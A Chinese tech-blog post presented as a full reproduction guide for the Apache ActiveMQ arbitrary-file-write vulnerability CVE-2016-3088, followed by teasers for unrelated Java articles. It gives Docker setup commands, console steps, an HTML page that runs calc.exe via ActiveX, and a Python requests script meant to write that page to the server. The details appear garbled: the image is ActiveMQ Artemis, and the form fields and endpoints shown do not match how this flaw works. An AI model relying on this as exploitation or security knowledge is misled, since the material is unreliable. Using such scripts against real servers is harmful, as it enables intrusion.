Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

yizhihongxing

以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:

漏洞介绍

Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。

漏洞编号:CVE-2016-3088
漏洞评级:高危

环境搭建

首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:

docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis

Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/

复现过程

示例一

接下来,我们使用两种方式来复现该漏洞。

首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。

  1. 访问链接:http://127.0.0.1:8161/admin/queues.jsp
  2. 点击页面上方"Send"按钮,进入新页面。
  3. 在页面下方的消息编辑框中,输入以下内容:
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
    new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
    <button onclick="test()">Click me</button>
</body>
</html>
  1. 在页面下方的"Queue"下拉框中选择自己想要的队列,然后点击"Send"按钮。

此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/
  2. 在页面下方的"File Name"输入框中输入想要写入的文件名,例如test.html。
  3. 在"File Contents"输入框中保持原有内容不变。
  4. 点击"Submit"按钮。

此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。

  1. 访问链接:http://127.0.0.1:8161/fileserver/test.html

此时,我们成功访问到了包含可执行代码的文件,攻击成功。

示例二

另一种方式是使用Python脚本来实现漏洞的利用。

  1. 首先需要安装Python的Requests库。使用以下命令安装:
pip install requests
  1. 然后编写以下脚本:
import requests

activemq_host = 'http://127.0.0.1:8161/'

def send_message_to_queue(queue_name, message):
    url = activemq_host + 'api/message/' + queue_name
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = 'body=' + message
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Send message failed.')
        exit()

def write_file(file_path, file_content):
    url = activemq_host + 'fileserver/'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'application/json'
    }
    data = {
        'fileName': file_path,
        'fileContents': file_content
    }
    response = requests.post(url, headers=headers, data=data)
    if response.status_code != 200:
        print('Write file failed.')
        exit()

if __name__ == '__main__':
    queue_name = 'test'
    message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
    file_path = 'test.html'
    write_file(file_path, message)
    send_message_to_queue(queue_name, message)
  1. 运行脚本,可以看到脚本将包含可执行代码的消息发送到名为test的队列,并将消息写入到test.html文件中。

以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • 详解用JWT对SpringCloud进行认证和鉴权

    详解用JWT对SpringCloud进行认证和鉴权 什么是JWT JWT (JSON Web Token) 是一种开放标准 (RFC 7519),它定义了一种简洁的、自包含的方式,用于在不同的系统之间传递安全信息。JWT 通常由 3 部分组成:头部 (header)、载荷 (payload)、签名 (signature)。其中,头部用于描述 JWT 的元数据…

    Java 2023年5月20日
    00
  • 使用JPA进行CriteriaQuery进行查询的注意事项

    使用JPA进行CriteriaQuery进行查询时,需要注意以下几个方面: 1. 配置persistence.xml 首先,需要在persistence.xml文件中配置JPA的provider和数据库连接信息。在provider中需要指定使用Hibernate等JPA实现,以及指定JPA的版本。例如: <persistence-unit name=&…

    Java 2023年5月20日
    00
  • 简单谈谈Struts动态表单(DynamicForm)

    简单谈谈Struts动态表单(DynamicForm) 在Struts 1.x中,有一个叫做DynamicForm的类,其主要作用是用来封装动态生成的表单数据的。通过使用DynamicForm,开发者可以更方便地处理多个表单元素、动态表单元素等情况,使编写表单逻辑更加简单易行。 动态表单介绍 DynamicForm的基本用法是在Struts配置文件中定义Ac…

    Java 2023年5月20日
    00
  • Spring Data JPA框架的Repository自定义实现详解

    下面就是关于Spring Data JPA框架的Repository自定义实现的详细攻略。 介绍 Spring Data JPA 是 Spring 框架的一部分,它提供了一种简单的方法来访问关系型数据库中的数据。它使用JPA规范来访问数据库,简化了与数据库的交互,大大减少了操作数据库的代码量。在 Spring Data JPA 中,我们可以使用 Reposi…

    Java 2023年6月3日
    00
  • 什么是Java运行期注解?

    Java运行期注解是一种Java编程语言中的注解,在运行时可以对程序进行动态的注解处理。使用Java运行期注解可以提高代码的可读性、可维护性和可扩展性。 使用Java运行期注解的步骤如下: 1.定义注解 在Java中,可以通过编写类来定义注解,在这个类中定义的属性就成为了注解的成员变量。下面是一个示例注解: @Retention(RetentionPolic…

    Java 2023年5月11日
    00
  • SpringBoot 2.0 整合sharding-jdbc中间件实现数据分库分表

    下面是详细的攻略。 1. 简介 sharding-jdbc 是一个基于 Java 开发的开源分布式中间件,可以提供数据分库、数据分表等功能。而SpringBoot 2.0 框架已经支持了 sharding-jdbc。 2. 步骤 2.1 添加 Maven 依赖 在 pom.xml 文件中添加 sharding-jdbc 的 Maven 依赖: <!–…

    Java 2023年5月20日
    00
  • 如何避免Java内存泄漏?

    如何避免Java内存泄漏? 内存泄漏通常指一块已经不再使用的内存没有被释放,导致可用内存减少或出现内存溢出等情况。Java虚拟机有自己的内存管理器,可以自动回收不再使用的内存资源,但是程序员也需要在代码中注意一些内存管理的问题,以避免Java内存泄漏。 以下是一些避免Java内存泄漏的方法: 避免使用静态变量 在Java程序中静态变量是一种方便的数据存储方式…

    Java 2023年5月11日
    00
  • MVC框架自定义实现过程

    MVC框架自定义实现过程 MVC 框架是一种常用的设计模式,它将应用程序分为三个部分:模型(Model)、视图(View)和控制器(Controller)。MVC 框架可以帮助我们更好地组织代码,提高代码的可维护性和可扩展性。本文将详细讲解 MVC 框架自定义实现过程,包括 MVC 框架的架构、MVC 框架的实现、MVC 框架的示例等。 MVC 框架的架构 …

    Java 2023年5月18日
    00
合作推广
合作推广
分享本页
返回顶部